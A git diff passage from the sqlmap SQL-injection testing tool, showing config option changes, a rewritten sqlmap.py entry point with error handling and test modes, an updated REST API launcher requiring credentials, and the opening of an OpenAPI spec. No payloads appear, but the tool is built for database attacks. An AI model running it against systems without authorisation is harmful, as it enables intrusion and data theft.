payloads and/or titles (e.g. BENCHMARK). testSkip = -# Update sqlmap. -# Valid: True or False -updateAll = False +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + +# Disable escaping of DBMS identifiers (e.g. "user"). +unsafeNaming = False + +# Web server document root directory (e.g. "/var/www"). +webRoot = [Miscellaneous] @@ -721,22 +857,15 @@ updateAll = False # Run host OS command(s) when SQL injection is found. alert = -# Set question answers (e.g. "quit=N,follow=N"). -answers = - # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False -# Offline WAF/IPS/IDS payload detection testing. +# Offline WAF/IPS payload detection testing. # Valid: True or False checkPayload = False -# Clean up the DBMS from sqlmap specific UDF and tables. -# Valid: True or False -cleanup = False - -# Check for missing (non-core) sqlmap dependencies. +# Check for missing (optional) sqlmap dependencies. # Valid: True or False dependencies = False @@ -744,34 +873,39 @@ dependencies = False # Valid: True or False disableColoring = False -# Use Google dork results from specified page number. -# Valid: integer -# Default: 1 -googlePage = 1 +# Disable hash analysis on table dumps. +# Valid: True or False +disableHashing = False -# Make a thorough testing for a WAF/IPS/IDS protection. +# Display list of available tamper scripts. # Valid: True or False -identifyWaf = False +listTampers = False -# Skip heuristic detection of WAF/IPS/IDS protection. +# Disable logging to a file. # Valid: True or False -skipWaf = False +noLogging = False -# Imitate smartphone through HTTP User-Agent header. +# Disable console output truncation. # Valid: True or False -mobile = False +noTruncate = False # Work in offline mode (only use session data) # Valid: True or False offline = False -# Display page rank (PR) for Google dork results. +# Location of CSV results file in multiple targets mode. +resultsFile = + +# Local directory for storing temporary files. +tmpDir = + +# Adjust options for unstable connections. # Valid: True or False -pageRank = False +unstable = False -# Conduct thorough tests only if positive heuristic(s). +# Update sqlmap. # Valid: True or False -smart = False +updateAll = False # Simple wizard interface for beginner users. # Valid: True or False diff --git a/sqlmap.py b/sqlmap.py index 1fd6f47f7d1..a969636fd04 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,54 +1,108 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import bdb -import inspect -import logging -import os -import re -import shutil -import sys -import time -import traceback -import warnings - -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) -warnings.filterwarnings(action="ignore", category=DeprecationWarning) - -from lib.utils import versioncheck # this has to be the first non-standard import - -from lib.controller.controller import start -from lib.core.common import banner -from lib.core.common import createGithubIssue -from lib.core.common import dataToStdout -from lib.core.common import getSafeExString -from lib.core.common import getUnicode -from lib.core.common import maskSensitiveData -from lib.core.common import setPaths -from lib.core.common import weAreFrozen -from lib.core.data import cmdLineOptions -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.common import unhandledExceptionMessage -from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapShellQuitException -from lib.core.exception import SqlmapSilentQuitException -from lib.core.exception import SqlmapUserQuitException -from lib.core.option import initOptions -from lib.core.option import init -from lib.core.profiling import profile -from lib.core.settings import LEGAL_DISCLAIMER -from lib.core.testing import smokeTest -from lib.core.testing import liveTest -from lib.parse.cmdline import cmdLineParser -from lib.utils.api import setRestAPILog -from lib.utils.api import StdDbOut +from __future__ import print_function + +try: + import sys + + sys.dont_write_bytecode = True + + try: + __import__("lib.utils.versioncheck") # this has to be the first non-standard import + except ImportError: + sys.exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") + + import bdb + import glob + import inspect + import json + import logging + import os + import re + import shutil + import sys + import tempfile + import threading + import time + import traceback + import warnings + + try: + ResourceWarning + except NameError: + ResourceWarning = Warning + + if "--deprecations" not in sys.argv: + warnings.filterwarnings(action="ignore", category=DeprecationWarning) + else: + warnings.resetwarnings() + warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) + warnings.simplefilter("ignore", category=ImportWarning) + warnings.simplefilter("ignore", category=ResourceWarning) + + warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") + warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) + warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) + warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) + warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2") + + from lib.core.data import logger + + from lib.core.common import banner + from lib.core.common import checkPipedInput + from lib.core.common import codeIsModified + from lib.core.common import createGithubIssue + from lib.core.common import dataToStdout + from lib.core.common import extractRegexResult + from lib.core.common import filterNone + from lib.core.common import getDaysFromLastUpdate + from lib.core.common import getFileItems + from lib.core.common import getSafeExString + from lib.core.common import maskSensitiveData + from lib.core.common import openFile + from lib.core.common import setPaths + from lib.core.common import weAreFrozen + from lib.core.convert import getUnicode + from lib.core.common import setColor + from lib.core.common import unhandledExceptionMessage + from lib.core.compat import LooseVersion + from lib.core.compat import xrange + from lib.core.data import cmdLineOptions + from lib.core.data import conf + from lib.core.data import kb + from lib.core.datatype import OrderedSet + from lib.core.enums import MKSTEMP_PREFIX + from lib.core.exception import SqlmapBaseException + from lib.core.exception import SqlmapShellQuitException + from lib.core.exception import SqlmapSilentQuitException + from lib.core.exception import SqlmapUserQuitException + from lib.core.option import init + from lib.core.option import initOptions + from lib.core.patch import dirtyPatches + from lib.core.patch import resolveCrossReferences + from lib.core.settings import GIT_PAGE + from lib.core.settings import IS_WIN + from lib.core.settings import LAST_UPDATE_NAGGING_DAYS + from lib.core.settings import LEGAL_DISCLAIMER + from lib.core.settings import THREAD_FINALIZATION_TIMEOUT + from lib.core.settings import UNICODE_ENCODING + from lib.core.settings import VERSION + from lib.parse.cmdline import cmdLineParser + from lib.utils.crawler import crawl +except KeyboardInterrupt: + errMsg = "user aborted" + + if "logger" in globals(): + logger.critical(errMsg) + raise SystemExit + else: + import time + sys.exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) def modulePath(): """ @@ -61,7 +115,48 @@ def modulePath(): except NameError: _ = inspect.getsourcefile(modulePath) - return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding()) + return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + +def checkEnvironment(): + try: + os.path.isdir(modulePath()) + except UnicodeEncodeError: + errMsg = "your system does not properly handle non-ASCII paths. " + errMsg += "Please move the sqlmap's directory to the other location" + logger.critical(errMsg) + raise SystemExit + + if LooseVersion(VERSION) < LooseVersion("1.0"): + errMsg = "your runtime environment (e.g. PYTHONPATH) is " + errMsg += "broken. Please make sure that you are not running " + errMsg += "newer versions of sqlmap with runtime scripts for older " + errMsg += "versions" + logger.critical(errMsg) + raise SystemExit + + # Check for being run from inside a third-party repackage bundling sqlmap for resale + _ = modulePath() + repackaged = "sqlbox" in _.lower() + while not repackaged and os.path.dirname(_) != _: + if os.path.basename(_) == "XDATA" and all(os.path.isdir(os.path.join(_, __)) for __ in ("_tools", "_DB")): + repackaged = True + _ = os.path.dirname(_) + + if repackaged: + errMsg = "this sqlmap instance appears to be running from inside a third-party " + errMsg += "repackage. sqlmap is free and open source under the GPL (https://sqlmap.org). " + errMsg += "embedding it into proprietary or paid software requires a separate commercial " + errMsg += "license (sales@sqlmap.org)" + logger.critical(errMsg) + raise SystemExit + + # Patch for pip (import) environment + if "sqlmap.sqlmap" in sys.modules: + for _ in ("cmdLineOptions", "conf", "kb"): + globals()[_] = getattr(sys.modules["lib.core.data"], _) + + for _ in ("SqlmapBaseException", "SqlmapShellQuitException", "SqlmapSilentQuitException", "SqlmapUserQuitException"): + globals()[_] = getattr(sys.modules["lib.core.exception"], _) def main(): """ @@ -69,49 +164,109 @@ def main(): """ try: - paths.SQLMAP_ROOT_PATH = modulePath() - - try: - os.path.isdir(paths.SQLMAP_ROOT_PATH) - except UnicodeEncodeError: - errMsg = "your system does not properly handle non-ASCII paths. " - errMsg += "Please move the sqlmap's directory to the other location" - logger.error(errMsg) - raise SystemExit - - setPaths() + dirtyPatches() + resolveCrossReferences() + checkEnvironment() + setPaths(modulePath()) + banner() # Store original command line options for possible later restoration - cmdLineOptions.update(cmdLineParser().__dict__) + args = cmdLineParser() + cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args) initOptions(cmdLineOptions) - if hasattr(conf, "api"): + if checkPipedInput(): + conf.batch = True + + if conf.get("api"): + # heavy imports + from lib.utils.api import StdDbOut + from lib.utils.api import setRestAPILog + # Overwrite system standard output and standard error to write # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") - setRestAPILog() - banner() + setRestAPILog() conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) - dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) + dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) init() - if conf.profile: - profile() - elif conf.smokeTest: - smokeTest() - elif conf.liveTest: - liveTest() - else: - start() + if conf.get("reportJson"): + from lib.utils.api import setupReportCollector + conf.reportCollector = setupReportCollector() + + if not conf.updateAll: + # Postponed imports (faster start) + if conf.smokeTest: + from lib.core.testing import smokeTest + os._exitcode = 1 - (smokeTest() or 0) + elif conf.vulnTest: + from lib.core.testing import vulnTest + os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) + elif conf.payloadLint: + from lib.core.testing import payloadLintTest + os._exitcode = 1 - (payloadLintTest() or 0) + elif conf.apiTest: + from lib.core.testing import apiTest + os._exitcode = 1 - (apiTest() or 0) + else: + from lib.controller.controller import start + if conf.profile: + from lib.core.profiling import profile + globals()["start"] = start + profile() + else: + try: + if conf.crawlDepth and conf.bulkFile: + targets = getFileItems(conf.bulkFile) + + for i in xrange(len(targets)): + target = None + + try: + kb.targets = OrderedSet() + target = targets[i] + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "https://%s" % target + + infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) + logger.info(infoMsg) + + crawl(target) + except Exception as ex: + if target and not isinstance(ex, SqlmapUserQuitException): + errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex)) + logger.error(errMsg) + else: + raise + else: + if kb.targets: + start() + else: + start() + except Exception as ex: + os._exitcode = 1 + + if "can't start new thread" in getSafeExString(ex): + errMsg = "unable to start new threads. Please check OS (u)limits" + logger.critical(errMsg) + raise SystemExit + else: + raise except SqlmapUserQuitException: - errMsg = "user quit" - logger.error(errMsg) + if not conf.batch: + errMsg = "user quit" + logger.error(errMsg) except (SqlmapSilentQuitException, bdb.BdbQuit): pass @@ -122,80 +277,404 @@ def main(): except SqlmapBaseException as ex: errMsg = getSafeExString(ex) logger.critical(errMsg) + + os._exitcode = 1 + raise SystemExit except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) + try: + print() + except IOError: + pass except EOFError: - print + print() + errMsg = "exit" logger.error(errMsg) - except SystemExit: - pass + except SystemExit as ex: + os._exitcode = ex.code or 0 except: - print + print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() + valid = not codeIsModified() - if "No space left" in excMsg: + os._exitcode = 255 + + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): + errMsg = "memory exhaustion detected" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): errMsg = "no space left on output device" - logger.error(errMsg) + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("The paging file is too small",)): + errMsg = "no space left for paging file" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): + errMsg = "permission error occurred while running Metasploit" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): + errMsg = "permission error occurred while using Metasploit" + logger.critical(errMsg) + raise SystemExit + + elif "Read-only file system" in excMsg: + errMsg = "output device is mounted as read-only" + logger.critical(errMsg) + raise SystemExit + + elif "Insufficient system resources" in excMsg: + errMsg = "resource exhaustion detected" + logger.critical(errMsg) + raise SystemExit + + elif "OperationalError: disk I/O error" in excMsg: + errMsg = "I/O error on output device" + logger.critical(errMsg) + raise SystemExit + + elif "Violation of BIDI" in excMsg: + errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)" + logger.critical(errMsg) + raise SystemExit + + elif "Invalid IPv6 URL" in excMsg: + errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif "_mkstemp_inner" in excMsg: + errMsg = "there has been a problem while accessing temporary files" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): + errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + logger.critical(errMsg) + raise SystemExit + + elif "Permission denied: '" in excMsg: + match = re.search(r"Permission denied: '([^']*)", excMsg) + errMsg = "permission error occurred while accessing file '%s'" % match.group(1) + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): + errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " + errMsg += "(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("httpcore", "typing.", "AttributeError")): + errMsg = "please update the 'httpcore' package (>= 1.0.8) " + errMsg += "(Reference: 'https://github.com/encode/httpcore/discussions/995')" + logger.critical(errMsg) + raise SystemExit + + elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: + errMsg = "please upgrade the Python version (>= 3.5) " + errMsg += "(Reference: 'https://bugs.python.org/issue18183')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): + errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " + errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" + logger.critical(errMsg) + raise SystemExit + + elif "must be pinned buffer, not bytearray" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7. Please update accordingly " + errMsg += "(Reference: 'https://bugs.python.org/issue8104')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("OSError: [Errno 22] Invalid argument: '", "importlib")): + errMsg = "unable to read file '%s'" % extractRegexResult(r"OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)", excMsg) + logger.critical(errMsg) + raise SystemExit + + elif "hash_randomization" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7.3. Please update accordingly " + errMsg += "(Reference: 'https://docs.python.org/2/library/sys.html')" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("AttributeError:", "TypeError:")) and re.search(r"3\.11\.\d+a", sys.version): + errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " + errMsg += "Please download a stable Python version" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): + errMsg = "there has been a problem while running the multiprocessing hash cracking. " + errMsg += "Please rerun with option '--threads=1'" + logger.critical(errMsg) + raise SystemExit + + elif "can't start new thread" in excMsg: + errMsg = "there has been a problem while creating new thread instance. " + errMsg += "Please make sure that you are not running too many processes" + if not IS_WIN: + errMsg += " (or increase the 'ulimit -u' value)" + logger.critical(errMsg) + raise SystemExit + + elif "can't allocate read lock" in excMsg: + errMsg = "there has been a problem in regular socket operation " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("pymysql", "configparser")): + errMsg = "wrong initialization of 'pymsql' detected (using Python3 dependencies)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("drda", "to_bytes")): + errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif "'WebSocket' object has no attribute 'status'" in excMsg: + errMsg = "wrong websocket library detected" + errMsg += " (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): + errMsg = "there has been a problem in initialization of GUI interface " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): + errMsg = "detected usage of files from different versions of sqlmap" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in errMsg for _ in (": 9.9.9#",)): + errMsg = "LOL xD" + logger.critical(errMsg) + raise SystemExit + + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): + raise SystemExit + + elif valid is False: + errMsg = "code checksum failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in "%s\n%s" % (errMsg, excMsg) for _ in ("tamper/", "waf/", "--engagement-dojo")): + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): + errMsg = "there is a permission problem in running multiprocessing on this system. " + errMsg += "Please rerun with '--disable-multi'" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "sqlmap.conf", "Test")): + errMsg = "you are trying to run (hidden) development tests inside the production environment" + logger.critical(errMsg) + raise SystemExit + + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): + errMsg = "there has been a problem in enumeration. " + errMsg += "Because of a considerable chance of false-positive case " + errMsg += "you are advised to rerun with switch '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" + logger.critical(errMsg) + raise SystemExit + + elif "'cryptography' package is required" in excMsg: + errMsg = "third-party library 'cryptography' is required" + logger.critical(errMsg) + raise SystemExit + + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: + errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() + errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" + logger.critical(errMsg) + raise SystemExit + + elif "bad marshal data (unknown type code)" in excMsg: + match = re.search(r"\s*(.+)\s+ValueError", excMsg) + errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") + errMsg += ". Please delete .pyc files on your system to fix the problem" + logger.critical(errMsg) raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) - file_ = os.path.relpath(file_, os.path.dirname(__file__)) + try: + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + except ValueError: + pass file_ = file_.replace("\\", '/') - file_ = re.sub(r"\.\./", '/', file_).lstrip('/') + if "../" in file_: + file_ = re.sub(r"(\.\./)+", '/', file_) + else: + file_ = file_.lstrip('/') + file_ = re.sub(r"/{2,}", '/', file_) excMsg = excMsg.replace(match.group(1), file_) errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - logger.critical(errMsg) - kb.stickyLevel = logging.CRITICAL - dataToStdout(excMsg) - createGithubIssue(errMsg, excMsg) + if conf.get("api") or not valid or kb.get("lastCtrlCTime"): + logger.critical("%s\n%s" % (errMsg, excMsg)) + else: + logger.critical(errMsg) + dataToStdout("%s\n" % setColor(excMsg.strip(), level=logging.CRITICAL)) + createGithubIssue(errMsg, excMsg) finally: - if conf.get("showTime"): - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + kb.threadContinue = False - if kb.get("tempDir"): - shutil.rmtree(kb.tempDir, ignore_errors=True) + if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS: + warnMsg = "your sqlmap version is outdated" + logger.warning(warnMsg) + + # emit the JSON report BEFORE the closing banner, so it does not appear awkwardly after + # "[*] ending @ ..." + if conf.get("reportCollector") is not None: + try: + from lib.utils.api import writeReportJson + writeReportJson(conf.reportCollector, conf.reportJson) + logger.info("JSON report written to '%s'" % conf.reportJson) + except Exception as ex: + logger.error("unable to write JSON report to '%s' ('%s')" % (conf.reportJson, getSafeExString(ex))) + finally: + try: + conf.reportCollector.disconnect() + except Exception as ex: + logger.debug("problem occurred while closing the report collector ('%s')" % getSafeExString(ex)) + + if conf.get("showTime"): + dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) - kb.threadContinue = False kb.threadException = True + for tempDir in conf.get("tempDirs", []): + for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): + for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): + try: + os.remove(filepath) + except OSError: + pass + + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.payloadLint, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + try: + shutil.rmtree(tempDir, ignore_errors=True) + except OSError: + pass + if conf.get("hashDB"): + conf.hashDB.flush() + conf.hashDB.close() # NOTE: because of PyPy + + if conf.get("harFile"): try: - conf.hashDB.flush(True) - except KeyboardInterrupt: - pass + with openFile(conf.harFile, "w+") as f: + json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) + except SqlmapBaseException as ex: + errMsg = getSafeExString(ex) + logger.critical(errMsg) + + if conf.get("api"): + conf.databaseCursor.disconnect() + + if conf.get("dumper"): + conf.dumper.flush() + + # short delay for thread finalization + _ = time.time() + while threading.active_count() > 1 and (time.time() - _) < THREAD_FINALIZATION_TIMEOUT: + time.sleep(0.01) if cmdLineOptions.get("sqlmapShell"): cmdLineOptions.clear() conf.clear() kb.clear() + conf.disableBanner = True main() - if hasattr(conf, "api"): - try: - conf.database_cursor.disconnect() - except KeyboardInterrupt: - pass - - if conf.get("dumper"): - conf.dumper.flush() - +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + pass + except SystemExit: + raise + except: + traceback.print_exc() + finally: # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program - if conf.get("threads", 0) > 1 or conf.get("dnsServer"): - os._exit(0) + if threading.active_count() > 1: + os._exit(getattr(os, "_exitcode", 0)) + else: + sys.exit(getattr(os, "_exitcode", 0)) +else: + # cancelling postponed imports (because of CI/CD checks) + __import__("lib.controller.controller") -if __name__ == "__main__": - main() + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/sqlmapapi.py b/sqlmapapi.py index 03a2807e7ec..4714887f409 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,46 +1,120 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import sys + +sys.dont_write_bytecode = True + +__import__("lib.utils.versioncheck") # this has to be the first non-standard import + import logging -import optparse +import os +import warnings + +warnings.filterwarnings(action="ignore", category=UserWarning) +warnings.filterwarnings(action="ignore", category=DeprecationWarning) + +try: + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") -from sqlmap import modulePath + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import getUnicode from lib.core.common import setPaths -from lib.core.data import paths from lib.core.data import logger +from lib.core.patch import dirtyPatches +from lib.core.patch import resolveCrossReferences +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER +from lib.core.settings import RESTAPI_DEFAULT_ADDRESS +from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import UNICODE_ENCODING from lib.utils.api import client from lib.utils.api import server -RESTAPI_SERVER_HOST = "127.0.0.1" -RESTAPI_SERVER_PORT = 8775 +try: + from sqlmap import modulePath +except ImportError: + def modulePath(): + return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) -if __name__ == "__main__": +def main(): """ - REST-JSON API main function + REST API main function """ + + dirtyPatches() + resolveCrossReferences() + # Set default logging level to debug logger.setLevel(logging.DEBUG) - # Initialize path variable - paths.SQLMAP_ROOT_PATH = modulePath() - setPaths() + # Initialize paths + setPaths(modulePath()) # Parse command line options - apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_SERVER_PORT, action="store_true") - apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_SERVER_PORT, action="store_true") - apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server", default=RESTAPI_SERVER_HOST, action="store") - apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server", default=RESTAPI_SERVER_PORT, type="int", action="store") - (args, _) = apiparser.parse_args() + apiparser = ArgumentParser() + apiparser.add_argument("-s", "--server", help="Run as a REST API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the REST API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) + apiparser.add_argument("--database", help="Set IPC database filepath (optional)") + apiparser.add_argument("--username", help="Basic authentication username") + apiparser.add_argument("--password", help="Basic authentication password") + (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() + + if (args.server or args.client) and not all((args.username, args.password)): + apiparser.error("--username and --password are mandatory for REST API server/client usage") # Start the client or the server - if args.server is True: - server(args.host, args.port) - elif args.client is True: - client(args.host, args.port) + if args.server: + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) + elif args.client: + client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() + +if __name__ == "__main__": + main() diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml new file mode 100644 index 00000000000..59214a7ac64 --- /dev/null +++ b/sqlmapapi.yaml @@ -0,0 +1,956 @@ +openapi: 3.0.3 +info: + title: sqlmap REST API + version: "2.0.0" + description: | + OpenAPI/Swagger specification for sqlmapapi.py, the sqlmap REST API server. + + This specification describes the API surface implemented by `lib/utils/api.py`. + The API is expected to be protected with HTTP Basic authentication when started + with `--username` and `--password`; hardened builds should require credentials + for server/client usage. + + Notes for implementers: + * Most sqlmap options are represented as dynamic JSON object properties. + * API-level failures are commonly returned as HTTP 200 with `success: false` + and a `message` field, matching the current server 